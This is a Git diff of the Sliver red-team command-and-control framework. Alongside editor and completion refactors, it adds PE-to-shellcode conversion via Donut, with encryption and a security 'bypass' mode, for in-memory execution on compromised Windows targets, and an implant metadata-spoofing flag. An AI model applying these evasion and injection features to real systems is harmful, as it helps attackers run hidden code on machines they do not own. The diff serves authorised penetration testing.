"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+51 -31
View File
@@ -6,11 +6,11 @@ import (
"strings"
"unicode"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/formatters"
"github.com/alecthomas/chroma/v2/styles"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/charmbracelet/x/ansi"
"golang.org/x/term"
)
@@ -69,9 +69,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
return m.handleCommand(key)
case modeInsert:
return m.handleInsert(msg)
return m.handleInsert(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return editorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func editorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyEnter:
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveDown()
case tea.KeyTab:
m.insertRune('\t')
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
m.insertRune(r)
}
}
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
if cursor >= start && cursor <= start+contentWidth {
rel := cursor - start
if rel < len(visible) {
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
lineText = string(visible[:rel]) + renderCursorCell(string(visible[rel])) + string(visible[rel+1:])
} else {
lineText = string(visible) + cursorStyle.Render(" ")
lineText = string(visible) + renderCursorCell(" ")
}
}
}
@@ -917,11 +937,11 @@ func (m *editorModel) applyCursor(rendered, highlighted string, line []rune, sta
}
if cursor == len(line) {
left := ansi.Cut(highlighted, start, cursor)
return left + cursorStyle.Render(" ")
return left + renderCursorCell(" ")
}
left := ansi.Cut(highlighted, start, cursor)
right := ansi.Cut(highlighted, cursor+1, end)
return left + cursorStyle.Render(string(line[cursor])) + right
return left + renderCursorCell(string(line[cursor])) + right
}
func (m *editorModel) executeSearch(pattern string) {
+16 -1
View File
@@ -1,6 +1,7 @@
package exec
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -33,7 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.Bool("env-inheritance", true, "inherit environment variables from the current process")
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
@@ -93,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
executeShellcodeCmd := &cobra.Command{
Use: consts.ExecuteShellcodeStr,
@@ -112,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
@@ -119,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
})
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
sideloadCmd := &cobra.Command{
Use: consts.SideloadStr,
@@ -147,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
spawnDllCmd := &cobra.Command{
Use: consts.SpawnDllStr,
@@ -175,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
migrateCmd := &cobra.Command{
Use: consts.MigrateStr,
@@ -260,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["custom-exe"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
sshCmd := &cobra.Command{
@@ -290,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["private-key"] = carapace.ActionFiles()
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
+219 -1
View File
@@ -20,27 +20,44 @@ package exec
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
const (
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
imageFileDLLMask = 0x2000
)
// ExecuteShellcodeCmd - Execute shellcode in-memory.
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetName := activeTargetName(session, beacon)
targetOS := activeTargetOS(session, beacon)
targetArch := activeTargetArch(session, beacon)
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
if shouldConvertPE {
if targetOS != "windows" {
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
return
}
con.PrintInfof("Converting PE input to shellcode ...\n")
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
if err != nil {
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
return
}
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
}
}
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep")
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, anyChanged, nil
}
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
ext := strings.ToLower(filepath.Ext(shellcodePath))
isPEByExt := ext == ".exe" || ext == ".dll"
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
}
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetName()
}
if beacon != nil {
return beacon.GetName()
}
return "target"
}
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return strings.ToLower(session.GetOS())
}
if beacon != nil {
return strings.ToLower(beacon.GetOS())
}
return ""
}
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetArch()
}
if beacon != nil {
return beacon.GetArch()
}
return ""
}
type executeShellcodeDonutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
opts := executeShellcodeDonutOptions{
entropy: defaultExecuteShellcodeDonutEntropy,
compress: defaultExecuteShellcodeDonutCompress,
exitOpt: defaultExecuteShellcodeDonutExitOpt,
bypass: defaultExecuteShellcodeDonutBypass,
headers: defaultExecuteShellcodeDonutHeaders,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
peFile, err := pe.NewFile(bytes.NewReader(data))
if err != nil {
return nil, err
}
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
ext := ".exe"
if isDLL {
ext = ".dll"
}
opts := normalizeExecuteShellcodeDonutConfig(config)
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
Ext: ext,
Arch: getExecuteShellcodeDonutArch(arch),
Bypass: opts.bypass,
Headers: opts.headers,
Entropy: opts.entropy,
Compress: opts.compress,
ExitOpt: opts.exitOpt,
Thread: opts.thread,
Unicode: opts.unicode,
OEP: opts.oep,
})
if err != nil {
return nil, err
}
return addExecuteShellcodeStackCheck(result.Loader), nil
}
func getExecuteShellcodeDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "x86", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
return donutArch
}
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
return append(stackCheckPrologue, shellcode...)
}
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
@@ -0,0 +1,100 @@
package exec
import (
"testing"
"github.com/spf13/cobra"
)
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if changed {
t.Fatalf("expected changed=false with defaults")
}
if cfg == nil {
t.Fatalf("expected non-nil config")
}
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
t.Fatalf("set shellcode-entropy: %v", err)
}
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
t.Fatalf("set shellcode-compress: %v", err)
}
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
t.Fatalf("set shellcode-thread: %v", err)
}
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if !changed {
t.Fatalf("expected changed=true")
}
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
t.Fatalf("unexpected changed config: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
t.Fatalf("set shellcode-bypass: %v", err)
}
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
t.Fatalf("expected validation error for shellcode-bypass")
}
}
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
testCases := []struct {
name string
path string
flagsChanged bool
wantConvert bool
wantDLL bool
}{
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
}
})
}
}
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "execute-shellcode"}
cmd.Flags().Uint32("shellcode-entropy", 1, "")
cmd.Flags().Bool("shellcode-compress", false, "")
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
cmd.Flags().Uint32("shellcode-bypass", 3, "")
cmd.Flags().Uint32("shellcode-headers", 1, "")
cmd.Flags().Bool("shellcode-thread", false, "")
cmd.Flags().Bool("shellcode-unicode", false, "")
cmd.Flags().Uint32("shellcode-oep", 0, "")
return cmd
}
+4
View File
@@ -79,10 +79,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if token || hidden || ppid != 0 {
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
ctrl <- true
<-ctrl
return
}
if envInheritance || len(envVars) > 0 {
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
ctrl <- true
<-ctrl
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+3
View File
@@ -1,6 +1,7 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
extensionCmd.AddCommand(extensionLoadCmd)
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
extensionInstallCmd := &cobra.Command{
Use: consts.InstallStr,
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
extensionCmd.AddCommand(extensionInstallCmd)
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
extensionRmCmd := &cobra.Command{
Use: consts.RmStr,
+3
View File
@@ -1,6 +1,7 @@
package filesystem
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/loot"
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.ActionValues().Usage("path to the file or directory to download"),
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
completers.RegisterLocalFilePathPositionalCompletion(downloadCmd, 1)
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
@@ -194,6 +196,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.ActionFiles().Usage("local path to the file to upload"),
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
)
completers.RegisterLocalFilePathPositionalCompletion(uploadCmd, 0)
memfilesCmd := &cobra.Command{
Use: consts.MemfilesStr,
+46 -1
View File
@@ -1,6 +1,9 @@
package generate
import (
"strings"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
@@ -11,6 +14,15 @@ import (
"github.com/spf13/pflag"
)
const spoofMetadataLongHelp = `
Spoof Metadata:
--spoof-metadata
Use metadata settings from <client app dir>/spoof-metadata.yaml.
--spoof-metadata /path/to/donor.exe
Use metadata from the specified donor file. The donor must match the target format/goos/goarch.
`
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
// [ Generate ] --------------------------------------------------------------
@@ -83,6 +95,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)")
})
carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)"))
completers.RegisterLocalFilePathPositionalCompletion(trafficEncodersAddCmd, 0)
trafficEncodersCmd.AddCommand(trafficEncodersAddCmd)
trafficEncodersRmCmd := &cobra.Command{
@@ -115,6 +128,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
})
completers.RegisterLocalFilePathFlagCompletion(regenerateCmd, "save")
carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con))
// [ Profiles ] --------------------------------------------------------------
@@ -151,6 +165,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(profilesGenerateCmd, "save")
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -182,6 +197,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("prepend-size", "p", false, "Prepend stage size")
f.StringP("compress", "c", "", "Compress stage (zlib, gzip, deflate9 or deflate)")
})
completers.RegisterLocalFilePathFlagCompletion(profilesStageCmd, "save")
carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
@@ -342,6 +358,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-hostname", "z", "", "limit execution to specified hostname")
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
bindSpoofMetadataFlag(f)
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
@@ -384,6 +401,32 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
appendSpoofMetadataLongHelp(cmd)
}
func bindSpoofMetadataFlag(f *pflag.FlagSet) {
if f == nil {
return
}
spoofMetadataFlag := f.VarPF(newSpoofMetadataFlagValue(), spoofMetadataFlagName, "", "spoof executable metadata (optional donor path)")
if spoofMetadataFlag != nil {
spoofMetadataFlag.NoOptDefVal = "true"
}
}
func appendSpoofMetadataLongHelp(cmd *cobra.Command) {
if cmd == nil {
return
}
if strings.Contains(cmd.Long, "--spoof-metadata") {
return
}
trimmed := strings.TrimRight(cmd.Long, "\n")
if trimmed == "" {
cmd.Long = strings.TrimLeft(spoofMetadataLongHelp, "\n")
return
}
cmd.Long = trimmed + spoofMetadataLongHelp
}
// coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags.
@@ -394,11 +437,13 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["arch"] = ArchCompleter(con)
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["save"] = completers.LocalFilePathCompleter().Tag("directory/file to save implant")
(*comp)[spoofMetadataFlagName] = carapace.ActionFiles().Tag("optional donor metadata file")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
completers.RegisterLocalFilePathFlagCompletions(cmd, "save", "debug-file", spoofMetadataFlagName)
registerImplantTargetFlagCompletions(cmd, con)
}
+51
View File
